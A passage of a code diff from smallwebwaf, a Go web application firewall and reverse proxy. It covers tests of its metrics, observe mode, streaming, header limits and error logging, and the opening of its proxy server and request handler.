 	s, clk, server := startWithClock(t, geojsURL, map[string]string{
 		metricsToken: token,
 		metricsTopN:  "1",
 	})
 	// The answers are kept before the requests, so that GeoJS gives none
 	// of its own. Each client is in an AS of its own.
 	answer := func(addr, asn string) lookup.Answer {
 		return lookup.Answer{
 			Client: netip.MustParsePrefix(addr + "/32"), ASN: asn,
 			Answered: clk.Now(), Used: clk.Now(),
 		}
 	}
 	server.GeoJS.Load([]lookup.Answer{
 		answer(fromDE, "AS64501"), answer(fromKP, "AS64502"),
 	})
 	// With one AS number of its own, the other is counted as other. The
 	// metrics are asked for from a private address, which has no AS number.
 	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
 	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
 	s.get(fromKP, http.StatusOK, requestlog.ActionForward)
 	metrics := s.scrape("10.0.0.9")
 	wantMetric(t, metrics,
 		`smallwebwaf_asn_requests_total{asn="AS64501",instance="app"}`, 2)
 	wantMetric(t, metrics,
 		`smallwebwaf_asn_requests_total{asn="other",instance="app"}`, 1)
 	wantMetric(t, metrics,
 		`smallwebwaf_asn_request_bytes_total{asn="AS64501",instance="app"}`, 0)
 	wantMetric(t, metrics,
 		`smallwebwaf_asn_response_bytes_total{asn="other",instance="app"}`, 0)
 	wantNoSeries(t, metrics,
 		`smallwebwaf_asn_requests_total{asn="AS64502",instance="app"}`)
 }
 func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
 	t.Parallel()
 	geojs := httptest.NewServer(http.HandlerFunc(
 		func(w http.ResponseWriter, _ *http.Request) {
 			w.WriteHeader(http.StatusServiceUnavailable)
 		}))
 	t.Cleanup(geojs.Close)
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 	addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
 		trustedProxies:  trustLocalhost,
 		metricsToken:    token,
 		deniedCountries: "kp",
 	})
 	// GeoJS fails, so the client counts as coming from an unknown country,
 	// which SWWAF_DENIED_COUNTRIES does not refuse.
 	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 	req.Header.Set(forwardedFor, fromDE)
 	wantStatus(t, do(t, req), http.StatusOK)
 	// The client stops waiting for GeoJS after a second, so GeoJS's
 	// failure can come after its request has ended.
 	deadline := time.Now().Add(waitLimit)
 	metrics := scrape(t, addr)
 	for metric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`) == 0 &&
 		time.Now().Before(deadline) {
 		time.Sleep(pollInterval)
 		metrics = scrape(t, addr)
 	}
 	wantMetric(t, metrics, `smallwebwaf_geojs_requests_total{instance="app"}`, 1)
 	wantMetric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`, 1)
 	wantMetric(t, metrics, `smallwebwaf_geojs_unanswered_total{instance="app"}`, 1)
 }
 // keptAnswer returns GeoJS's answer that the client at addr is in
 // country, given now.
 func keptAnswer(addr, country string) lookup.Answer {
 	now := time.Now()
 	return lookup.Answer{
 		Client: netip.MustParsePrefix(addr + "/32"), Country: country,
 		Answered: now, Used: now,
 	}
 }
 // scrape asks smallwebwaf at addr for the metrics, with the token, and
 // returns them.
 func scrape(t *testing.T, addr string) string {
 	t.Helper()
 	req := newRequest(t, http.MethodGet, addr, proxy.MetricsPath, http.NoBody)
 	req.Header.Set("Authorization", bearer)
 	got := do(t, req)
 	if got.status != http.StatusOK {
 		t.Fatalf("the metrics were answered %d", got.status)
 	}
 	return string(got.body)
 }
 // scrape asks for the metrics, with the token, from the client at from,
 // and returns them.
 func (s *sender) scrape(from string) string {
 	s.t.Helper()
 	_, metrics := s.requestWithHeader(from, proxy.MetricsPath, "Authorization: "+bearer,
 		http.StatusOK, requestlog.ActionAdmin)
 	return metrics
 }
 // metric returns the value of series in metrics, which are in the
 // Prometheus text format. series is a name and its labels in the order of
 // their names, such as
 // smallwebwaf_offences_total{instance="app",kind="limit"}. It fails the
 // test if there is no such series.
 func metric(t *testing.T, metrics, series string) float64 {
 	t.Helper()
 	for line := range strings.Lines(metrics) {
 		value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
 		if !found {
 			continue
 		}
 		number, err := strconv.ParseFloat(value, 64)
 		if err != nil {
 			t.Fatalf("%s has the value %q", series, value)
 		}
 		return number
 	}
 	t.Fatalf("no series %s in the metrics:\n%s", series, metrics)
 	return 0
 }
 // wantMetric checks the value of series in metrics, as metric reads it.
 func wantMetric(t *testing.T, metrics, series string, want float64) {
 	t.Helper()
 	got := metric(t, metrics, series)
 	if got != want {
 		t.Errorf("%s is %v, want %v", series, got, want)
 	}
 }
 // wantNoSeries checks that metrics have no series series.
 func wantNoSeries(t *testing.T, metrics, series string) {
 	t.Helper()
 	if strings.Contains(metrics, "\n"+series+" ") {
 		t.Errorf("there is a series %s", series)
 	}
 }
 // wantLimitHits checks that the metrics of smallwebwaf at addr count hits
 // requests that passed the size or time limit of the setting limit, with
 // no series for it when hits is 0.
 func wantLimitHits(t *testing.T, addr, limit string, hits int) {
 	t.Helper()
 	series := `smallwebwaf_size_and_time_limit_hits_total{instance="app",limit="` +
 		limit + `"}`
 	metrics := scrape(t, addr)
 	if hits == 0 {
 		wantNoSeries(t, metrics, series)
 		return
 	}
 	wantMetric(t, metrics, series, float64(hits))
 }
@@ -1,29 +1,32 @@
-package discriminator_test
+package proxy_test
 import (
 	"bytes"
 	"io"
 	"net/http"
 	"net/netip"
-	"reflect"
+	"sync/atomic"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
-// observe is the value of SWW_MODE for observe mode.
+// observe is the value of SWWAF_MODE for observe mode.
 const observe = "observe"
 func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
 	t.Parallel()
 	const (
-		denied = "192.0.2.50" // in SWW_DENY_NETS
+		denied = "192.0.2.50" // in SWWAF_DENY_NETS
 		banned = otherClient  // under a ban read from bans.json
 	)
 	for _, tc := range []struct {
-		setting string // "" leaves SWW_MODE at its default
+		setting string // "" leaves SWWAF_MODE at its default
 		observe bool
 	}{
 		{"", false},
@@ -35,7 +38,6 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
 			geojsURL, _ := startGeoJS(t)
 			env := map[string]string{
 				lookupTimeout:      "1h",
 				rateLimitPerMinute: "1",
 				denyNets:           denied,
 				deniedCountries:    "kp",
@@ -72,6 +74,11 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
 				// Passed to the app, which answered it.
 				line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
 				wantWouldAction(t, line, sent.refusal)
 				if line.UpstreamStatus != http.StatusOK {
 					t.Errorf("log line has upstream_status %d, want 200",
 						line.UpstreamStatus)
 				}
 			}
 		})
 	}
@@ -119,11 +126,67 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
 	}
 	got := server.Ledger.Snapshot()
-	if len(got) != 1 || !reflect.DeepEqual(got[0], kept) {
+	if len(got) != 1 || got[0] != kept {
 		t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
 	}
 }
 func TestObserveModeKeepsTheSizeLimitsAndTheToken(t *testing.T) {
 	t.Parallel()
 	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
 	var calls atomic.Int32
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		calls.Add(1)
 		answerWithSize(w, 2*sizeLimit, true)
 	})
 	addr, out := startProxy(t, app.URL, map[string]string{
 		mode:             observe,
 		trustedProxies:   trustLocalhost,
 		denyNets:         denied,
 		requestMaxBytes:  sizeLimitSetting,
 		responseMaxBytes: sizeLimitSetting,
 		metricsToken:     token,
 	})
 	// SWWAF_DENY_NETS would refuse each request; instead a size limit or
 	// the missing token does.
 	for i, tc := range []struct {
 		method, path string
 		body         io.Reader
 		status       int
 		action       string
 	}{
 		{
 			http.MethodPost, "/upload", bytes.NewReader(make([]byte, 2*sizeLimit)),
 			http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge,
 		},
 		{
 			http.MethodGet, "/download", http.NoBody,
 			http.StatusBadGateway, requestlog.ActionTooLarge,
 		},
 		{
 			http.MethodGet, proxy.MetricsPath, http.NoBody,
 			http.StatusUnauthorized, requestlog.ActionAdmin,
 		},
 	} {
 		req := newRequest(t, tc.method, addr, tc.path, tc.body)
 		req.Header.Set(forwardedFor, denied)
 		wantStatus(t, do(t, req), tc.status)
 		line := out.requestLines(t, i+1)[i]
 		wantLine(t, line, tc.status, tc.action)
 		wantWouldAction(t, line, requestlog.ActionDenied)
 	}
 	// The upload was refused before it reached the app.
 	if calls.Load() != 1 {
 		t.Errorf("the app was called %d times, want once", calls.Load())
 	}
 }
 // wantWouldAction checks the request log line's would_action, and that a
 // line that should have none has no such field.
 func wantWouldAction(t *testing.T, line logLine, want string) {
@@ -0,0 +1,449 @@
 package proxy_test
 import (
 	"bufio"
 	"bytes"
 	"errors"
 	"io"
 	"net/http"
 	"reflect"
 	"slices"
 	"strings"
 	"sync/atomic"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // A request target with an escaped slash and space in its path, and a
 // query with a parameter ReverseProxy cannot parse.
 const (
 	rawPath  = "/some%2Fpath/with%20space"
 	rawQuery = "b=2&a=1&bad=%zz;x"
 )
 // chunkSize is the size of each part of a body a test sends in parts.
 const chunkSize = 1 << 10
 var errNotStreamed = errors.New("the first part never reached the app")
 // appSaw is what the app received.
 type appSaw struct {
 	method string
 	target string
 	header http.Header
 	body   []byte
 }
 func TestPassesRequestAndAnswerUnchanged(t *testing.T) {
 	t.Parallel()
 	requestBody := bytes.Repeat([]byte("request body "), 8000)
 	answerBody := bytes.Repeat([]byte("answer body "), 8000)
 	saw := make(chan appSaw, 1)
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		body, _ := io.ReadAll(r.Body)
 		saw <- appSaw{r.Method, r.RequestURI, r.Header.Clone(), body}
 		w.Header().Set("X-App", "yes")
 		w.Header().Add("Set-Cookie", "a=1")
 		w.Header().Add("Set-Cookie", "b=2")
 		w.WriteHeader(http.StatusTeapot)
 		_, _ = w.Write(answerBody)
 	})
 	addr, out := startProxy(t, app.URL, nil)
 	req := newRequest(t, http.MethodPatch, addr, rawPath+"?"+rawQuery,
 		bytes.NewReader(requestBody))
 	req.Header.Add("X-Test", "one")
 	req.Header.Add("X-Test", "two")
 	req.Header.Set("User-Agent", "test-agent")
 	got := do(t, req)
 	wantAppSaw(t, <-saw, requestBody)
 	wantAnswer(t, got, answerBody)
 	line := out.requestLine(t)
 	wantLine(t, line, http.StatusTeapot, requestlog.ActionForward)
 	wantRequestFields(t, line, addr, len(requestBody), len(answerBody))
 }
 // wantAppSaw checks that the app received the test's request unchanged.
 func wantAppSaw(t *testing.T, saw appSaw, body []byte) {
 	t.Helper()
 	if saw.method != http.MethodPatch || saw.target != rawPath+"?"+rawQuery {
 		t.Errorf("app saw %s %s, want %s %s", saw.method, saw.target,
 			http.MethodPatch, rawPath+"?"+rawQuery)
 	}
 	if !slices.Equal(saw.header.Values("X-Test"), []string{"one", "two"}) {
 		t.Errorf("app saw X-Test %q", saw.header.Values("X-Test"))
 	}
 	if saw.header.Get("User-Agent") != "test-agent" {
 		t.Errorf("app saw User-Agent %q", saw.header.Get("User-Agent"))
 	}
 	if !bytes.Equal(saw.body, body) {
 		t.Errorf("app saw a body of %d bytes, want the %d sent",
 			len(saw.body), len(body))
 	}
 }
 // wantAnswer checks that the client received the app's answer unchanged.
 func wantAnswer(t *testing.T, got answer, body []byte) {
 	t.Helper()
 	wantStatus(t, got, http.StatusTeapot)
 	if got.header.Get("X-App") != "yes" {
 		t.Errorf("client got X-App %q", got.header.Get("X-App"))
 	}
 	if !slices.Equal(got.header.Values("Set-Cookie"), []string{"a=1", "b=2"}) {
 		t.Errorf("client got Set-Cookie %q", got.header.Values("Set-Cookie"))
 	}
 	if got.err != nil || !bytes.Equal(got.body, body) {
 		t.Errorf("client got %d bytes (%v), want the %d the app sent",
 			len(got.body), got.err, len(body))
 	}
 }
 // wantRequestFields checks the log line's fields about the request. Its
 // time, its id and its timings are checked only for being there.
 func wantRequestFields(t *testing.T, line logLine, host string, sent, received int) {
 	t.Helper()
 	bytes := float64(sent + received)
 	want := withTimings(line, requestlog.Line{
 		Type: requestType, Time: line.Time, Instance: "app",
 		ClientIP: localhost, Method: http.MethodPatch, Scheme: plain, Host: host,
 		Path: rawPath, Query: rawQuery, Protocol: protocol,
 		Status: http.StatusTeapot, RequestBytes: int64(sent),
 		ResponseBytes: int64(received), UserAgent: "test-agent",
 		RequestID: line.RequestID, PeerIP: localhost, ClientGroup: localhost + "/32",
 		ContentLength: int64(sent), ResponseContentType: "text/plain; charset=utf-8",
 		UpstreamStatus: http.StatusTeapot, Action: requestlog.ActionForward,
 		Counts: ratelimit.Counts{
 			Minute: 1, Hour: 1, Day: 1,
 			MinuteBytes: bytes, HourBytes: bytes, DayBytes: bytes,
 		},
 	})
 	if !reflect.DeepEqual(line.Line, want) {
 		t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want)
 	}
 	_, err := time.Parse(time.RFC3339, line.Time)
 	if err != nil || line.RequestID == "" || line.DurationTotal <= 0 ||
 		line.DurationUpstreamTotal == nil || *line.DurationUpstreamTotal <= 0 {
 		t.Errorf("log line has time %q, request_id %q and durations %v and %v",
 			line.Time, line.RequestID, line.DurationTotal,
 			line.fields["duration_upstream_total"])
 	}
 }
 func TestStreamsTheRequestBody(t *testing.T) {
 	t.Parallel()
 	chunk := bytes.Repeat([]byte("x"), chunkSize)
 	firstArrived := make(chan struct{})
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		first := make([]byte, len(chunk))
 		_, err := io.ReadFull(r.Body, first)
 		if err != nil {
 			return
 		}
 		close(firstArrived)
 		rest, _ := io.ReadAll(r.Body)
 		_, _ = w.Write(rest)
 	})
 	addr, _ := startProxy(t, app.URL, nil)
 	body, writer := io.Pipe()
 	go func() {
 		_, _ = writer.Write(chunk)
 		select {
 		case <-firstArrived:
 			_, _ = writer.Write(chunk)
 			_ = writer.Close()
 		case <-time.After(waitLimit):
 			_ = writer.CloseWithError(errNotStreamed)
 		}
 	}()
 	got := do(t, newRequest(t, http.MethodPost, addr, "/upload", body))
 	if got.err != nil || !bytes.Equal(got.body, chunk) {
 		t.Errorf("app read %d bytes after the first part (%v), want %d",
 			len(got.body), got.err, len(chunk))
 	}
 }
 func TestStreamsTheAnswerBody(t *testing.T) {
 	t.Parallel()
 	chunk := bytes.Repeat([]byte("y"), chunkSize)
 	firstArrived := make(chan struct{})
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		_, _ = w.Write(chunk)
 		_ = http.NewResponseController(w).Flush()
 		select {
 		case <-firstArrived:
 			_, _ = w.Write(chunk)
 		case <-time.After(waitLimit):
 		}
 	})
 	addr, _ := startProxy(t, app.URL, nil)
 	req := newRequest(t, http.MethodGet, addr, "/download", http.NoBody)
 	res, err := newClient(t).Do(req)
 	if err != nil {
 		t.Fatalf("request: %v", err)
 	}
 	first := make([]byte, len(chunk))
 	_, err = io.ReadFull(res.Body, first)
 	close(firstArrived)
 	got := readAnswer(res)
 	if err != nil || got.err != nil || !bytes.Equal(got.body, chunk) {
 		t.Errorf("client read %d bytes after the first part (%v, %v), want %d",
 			len(got.body), err, got.err, len(chunk))
 	}
 }
 func TestUpgradedConnectionOutlastsTheTimeouts(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, echoAfterUpgrade)
 	addr, out := startProxy(t, app.URL, map[string]string{
 		clientRequestTimeout:    shortTimeoutSetting,
 		clientResponseTimeout:   shortTimeoutSetting,
 		upstreamRequestTimeout:  shortTimeoutSetting,
 		upstreamResponseTimeout: shortTimeoutSetting,
 	})
 	conn := dial(t, addr)
 	send(t, conn, "GET /socket HTTP/1.1\r\nHost: app\r\n"+
 		"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
 	reader := bufio.NewReader(conn)
 	res, err := http.ReadResponse(reader, nil)
 	if err != nil {
 		t.Fatalf("read the answer to the upgrade: %v", err)
 	}
 	answered := time.Now()
 	_ = res.Body.Close()
 	if res.StatusCode != http.StatusSwitchingProtocols {
 		t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
 	}
 	// Every timeout started before the upgrade was answered, the response
 	// timeouts last, at the end of the request: wait until just past
 	// shortTimeout after the answer was read, then use the connection.
 	time.Sleep(time.Until(answered.Add(shortTimeout + 100*time.Millisecond)))
 	send(t, conn, "still here\n")
 	echoed, err := reader.ReadString('\n')
 	if err != nil || echoed != "still here\n" {
 		t.Errorf("echo %q (%v), want %q", echoed, err, "still here\n")
 	}
 	_ = conn.Close()
 	wantLine(t, out.requestLine(t), http.StatusSwitchingProtocols,
 		requestlog.ActionForward)
 }
 // echoAfterUpgrade is an app that switches protocols on request, and then
 // sends back each line it receives.
 func echoAfterUpgrade(w http.ResponseWriter, r *http.Request) {
 	if r.Header.Get("Upgrade") != "websocket" {
 		http.Error(w, "not an upgrade", http.StatusBadRequest)
 		return
 	}
 	conn, buffered, err := http.NewResponseController(w).Hijack()
 	if err != nil {
 		return
 	}
 	defer func() {
 		_ = conn.Close()
 	}()
 	_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
 		"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
 	_ = buffered.Flush()
 	for {
 		line, err := buffered.ReadString('\n')
 		if err != nil {
 			return
 		}
 		_, _ = buffered.WriteString(line)
 		_ = buffered.Flush()
 	}
 }
 func TestServerHasTheDefaultLimits(t *testing.T) {
 	t.Parallel()
 	cfg, err := config.FromEnvironment(func(string) (string, bool) { return "", false })
 	if err != nil {
 		t.Fatalf("default settings: %v", err)
 	}
 	server := proxy.New(proxy.Params{
 		Config:     cfg,
 		RequestLog: io.Discard,
 		ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName),
 	})
 	if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
 		server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
 		t.Errorf("server listens on %q with header limit %d, idle time %s and "+
 			"header timeout %s", server.Addr, server.MaxHeaderBytes,
 			server.IdleTimeout, server.ReadHeaderTimeout)
 	}
 }
 func TestRefusesHeadersOverTheLimit(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name  string
 		env   map[string]string
 		limit int
 	}{
 		{"by default", nil, 32 << 10},
 		{"as set", map[string]string{clientHeaderMaxBytes: "8K"}, 8 << 10},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			var calls atomic.Int32
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				calls.Add(1)
 			})
 			addr, _ := startProxy(t, app.URL, tc.env)
 			// size counts every byte of the request: the request line,
 			// the headers and the blank line that ends them.
 			const (
 				start = "GET / HTTP/1.1\r\nHost: app\r\nX-Large: "
 				end   = "\r\n\r\n"
 			)
 			for _, sent := range []struct{ size, want int }{
 				{tc.limit, http.StatusOK},
 				{tc.limit + 1, http.StatusRequestHeaderFieldsTooLarge},
 			} {
 				conn := dial(t, addr)
 				send(t, conn,
 					start+strings.Repeat("a", sent.size-len(start)-len(end))+end)
 				wantStatus(t, readResponse(t, conn), sent.want)
 			}
 			if calls.Load() != 1 {
 				t.Errorf("the app was called %d times, want once", calls.Load())
 			}
 		})
 	}
 }
 func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) {
 	t.Parallel()
 	// No test can listen on port 1: listening on port 0 gets one from 32768 up.
 	addr, out := startProxy(t, "http://"+localhost+":1", nil)
 	wantStatus(t, get(t, addr, "/"), http.StatusBadGateway)
 	line := out.requestLine(t)
 	wantLine(t, line, http.StatusBadGateway, requestlog.ActionUpstreamError)
 	// There never was a connection to the app, nor an answer from it.
 	wantTimings(t, line, "duration_total", "duration_checks",
 		"duration_upstream_total")
 	logged := slices.ContainsFunc(out.lines(t), func(line map[string]any) bool {
 		return line["type"] == "process" && line["msg"] == "request to the app failed"
 	})
 	if !logged {
 		t.Errorf("no process line says the request to the app failed")
 	}
 }
 func TestLogsAnAnswerThatBrokeOff(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		_, _ = io.WriteString(w, "the first part")
 		_ = http.NewResponseController(w).Flush()
 		panic(http.ErrAbortHandler) // drops the connection mid-answer
 	})
 	addr, out := startProxy(t, app.URL, nil)
 	got := get(t, addr, "/")
 	if string(got.body) != "the first part" || !errors.Is(got.err, io.ErrUnexpectedEOF) {
 		t.Errorf("client read %q (%v), want the first part cut off", got.body, got.err)
 	}
 	wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionUpstreamError)
 }
 func TestLogsAClientThatWentAway(t *testing.T) {
 	t.Parallel()
 	arrived := make(chan struct{})
 	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
 		close(arrived)
 		<-r.Context().Done()
 	})
 	addr, out := startProxy(t, app.URL, nil)
 	conn := dial(t, addr)
 	send(t, conn, "GET /slow HTTP/1.1\r\nHost: app\r\n\r\n")
 	select {
 	case <-arrived:
 	case <-time.After(waitLimit):
 		t.Fatal("the request never reached the app")
 	}
 	_ = conn.Close()
 	line := out.requestLine(t)
 	if !line.Aborted || line.Status != 0 || line.Action != requestlog.ActionForward {
 		t.Errorf("log line has aborted %v, status %d and action %q, "+
 			"want true, 0 and %q",
 			line.Aborted, line.Status, line.Action, requestlog.ActionForward)
 	}
 }
@@ -0,0 +1,255 @@
 // Package proxy passes each request to the app and the app's answer back,
 // unchanged, within the size and time limits, and writes one request log
 // line for each request.
 package proxy
 import (
 	"io"
 	"log"
 	"log/slog"
 	"net/http"
 	"strings"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/anomaly"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/metrics"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
 // How smallwebwaf keeps connections to the app open between requests.
 const (
 	appIdleConns       = 100
 	appIdleConnTimeout = 90 * time.Second
 )
 // adminPrefix starts the path of every request for smallwebwaf itself,
 // which never reaches the app.
 const adminPrefix = "/_smallwebwaf/"
 // HealthPath is smallwebwaf's health endpoint, which the container's
 // health check asks.
 const HealthPath = "/_smallwebwaf/healthz"
 // MetricsPath is where the metrics are, for a request that carries
 // SWWAF_METRICS_TOKEN.
 const MetricsPath = "/_smallwebwaf/metrics"
 // BansPath is where an admin lists and adds bans, and, followed by / and
 // a client's address, lifts them, with SWWAF_ADMIN_TOKEN.
 const BansPath = "/_smallwebwaf/bans"
 // ClientsPath is where an admin asks what smallwebwaf knows of a client,
 // by the client's address after it, with SWWAF_ADMIN_TOKEN.
 const ClientsPath = "/_smallwebwaf/clients/"
 // Params are what New needs.
 type Params struct {
 	Config *config.Config
 	// RequestLog receives one JSON line per request.
 	RequestLog io.Writer
 	// ProcessLog receives the process's own messages.
 	ProcessLog *slog.Logger
 	// GeoJSURL is where clients' AS numbers and countries are looked up
 	// while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL.
 	GeoJSURL string
 	// LookupFile is the lookup database they are looked up in while
 	// SWWAF_LOOKUP_SOURCE is file, and nil otherwise.
 	LookupFile *lookup.File
 	// Now tells the time by which requests are counted for the rate
 	// limits, bans are made and run out, and GeoJS's answers are kept,
 	// normally time.Now in UTC, the time the state files give.
 	Now func() time.Time
 	// Rules are the rule files' rules, which each request is checked
 	// against.
 	Rules *rules.Files
 	// Alerts receive the alert for each ban the proxy makes or makes
 	// permanent, for each count over an anomaly threshold, and for GeoJS
 	// failing.
 	Alerts *alerts.Queue
 }
 // Server is the server smallwebwaf runs, with the parts of the proxy
 // whose state the state files keep, the lookup database, nil unless
 // SWWAF_LOOKUP_SOURCE is file, and the metrics.
 type Server struct {
 	*http.Server
 	Ledger     *bans.Ledger
 	Limiter    *ratelimit.Limiter
 	GeoJS      *lookup.GeoJS
 	Anomalies  *anomaly.Counters
 	LookupFile *lookup.File
 	Metrics    *metrics.Metrics
 }
 // New returns the server smallwebwaf runs: each request it reads passes
 // through the proxy. Go's server itself refuses a request line and
 // headers over SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES, with 431, closes a
 // connection idle for SWWAF_CLIENT_IDLE_TIMEOUT, and applies
 // SWWAF_CLIENT_REQUEST_TIMEOUT while the headers arrive; the proxy
 // applies the timeouts and size limits from then on.
 func New(params Params) *Server {
 	errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
 	m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
 	h := &handler{
 		config:     params.Config,
 		requestLog: params.RequestLog,
 		processLog: params.ProcessLog,
 		errorLog:   errorLog,
 		transport:  newTransport(),
 		now:        params.Now,
 		metrics:    m,
 		limiter: ratelimit.New(ratelimit.Limits{
 			PerMinute:      params.Config.RateLimitPerMinute,
 			PerHour:        params.Config.RateLimitPerHour,
 			PerDay:         params.Config.RateLimitPerDay,
 			BytesPerMinute: params.Config.BytesLimitPerMinute,
 			BytesPerHour:   params.Config.BytesLimitPerHour,
 			BytesPerDay:    params.Config.BytesLimitPerDay,
 		}),
 		ledger: bans.New(bans.Rules{
 			LimitBanDuration:     params.Config.LimitBanDuration,
 			LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
 			MaxBanDuration:       params.Config.MaxBanDuration,
 			AttackBanDuration:    params.Config.AttackBanDuration,
 			MaxBans:              params.Config.MaxBans,
 		}),
 		anomalies: anomaly.New(anomaly.Params{
 			Client:         params.Config.AnomalyClient,
 			Net:            params.Config.AnomalyNet,
 			ASN:            params.Config.AnomalyASN,
 			Total:          params.Config.AnomalyTotal,
 			Watch:          params.Config.AnomalyWatch,
 			NetV4Prefix:    params.Config.AnomalyNetV4Prefix,
 			NetV6Prefix:    params.Config.AnomalyNetV6Prefix,
 			NamedNetblocks: params.Config.WatchNets,
 			Alerts:         params.Alerts,
 		}),
 		lookupFile: params.LookupFile,
 		rules:      params.Rules,
 		alerts:     params.Alerts,
 	}
 	h.geojs = lookup.New(lookup.Params{
 		URL:     params.GeoJSURL,
 		Timeout: params.Config.LookupTimeout,
 		// The country lists, the headers and the biased thresholds act on
 		// the answer before the request goes on.
 		Wait: len(params.Config.DeniedCountries) > 0 ||
 			len(params.Config.ExclusivelyAllowedCountries) > 0 ||
 			params.Config.AddLookupHeaders || biasedThresholdsSet(params.Config),
 		Answered:   h.addLookup,
 		Now:        params.Now,
 		ProcessLog: params.ProcessLog,
 		Metrics:    m,
 		Alerts:     params.Alerts,
 	})
 	m.AddBansAndClients(h.ledger, h.limiter, params.Now)
 	m.AddRules(params.Rules)
 	return &Server{
 		Server: &http.Server{
 			Addr:              params.Config.ListenAddr,
 			Handler:           h,
 			ReadHeaderTimeout: params.Config.ClientRequestTimeout,
 			// Off is an IdleTimeout of 0, which Go's server replaces with
 			// ReadTimeout: no limit, as long as ReadTimeout stays unset.
 			IdleTimeout: params.Config.ClientIdleTimeout,
 			// Go's server reads 4 KiB past MaxHeaderBytes before it
 			// refuses, so the limit a client meets is the setting.
 			MaxHeaderBytes: int(params.Config.ClientRequestHeaderMaxBytes - 4<<10),
 			ErrorLog:       errorLog,
 		},
 		Ledger:     h.ledger,
 		Limiter:    h.limiter,
 		GeoJS:      h.geojs,
 		Anomalies:  h.anomalies,
 		LookupFile: h.lookupFile,
 		Metrics:    m,
 	}
 }
 // handler is the proxy. It holds what every request shares; what belongs
 // to one request is in a request.
 type handler struct {
 	config     *config.Config
 	requestLog io.Writer
 	processLog *slog.Logger
 	errorLog   *log.Logger
 	transport  http.RoundTripper
 	now        func() time.Time
 	metrics    *metrics.Metrics
 	limiter    *ratelimit.Limiter
 	ledger     *bans.Ledger
 	geojs      *lookup.GeoJS
 	anomalies  *anomaly.Counters
 	lookupFile *lookup.File
 	rules      *rules.Files
 	alerts     *alerts.Queue
 }
 // newTransport returns what carries requests to the app. It never goes
 // through a proxy named in the environment, and leaves the app's answers
 // compressed or not as the app sent them.
 func newTransport() *http.Transport {
 	return &http.Transport{
 		MaxIdleConns:        appIdleConns,
 		MaxIdleConnsPerHost: appIdleConns,
 		IdleConnTimeout:     appIdleConnTimeout,
 		DisableCompression:  true,
 	}
 }
 // ServeHTTP handles one request: it works out the client, runs the
 // checks, passes the request to the app and the answer back within the
 // limits, or answers it itself if it is for smallwebwaf, and writes the
 // request's log line.
 func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	rq := h.newRequest(w, r)
 	defer rq.finish()
 	// The health endpoint is answered at once, before any check, so that
 	// a health checker is never refused. It does not ask the app.
 	if r.Method == http.MethodGet && r.URL.Path == HealthPath {
 		rq.line.Action = requestlog.ActionAdmin
 		// Set here rather than left to Go's server, which would set it only
 		// after the log line has taken the response's headers.
 		rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
 		_, _ = io.WriteString(rq.out, "ok\n")
 		return
 	}
 	// Once the request has ended, before its log line is written.
 	defer rq.addToHistory()
 	defer rq.countAnomalies()
 	refused := rq.check(r.Context())
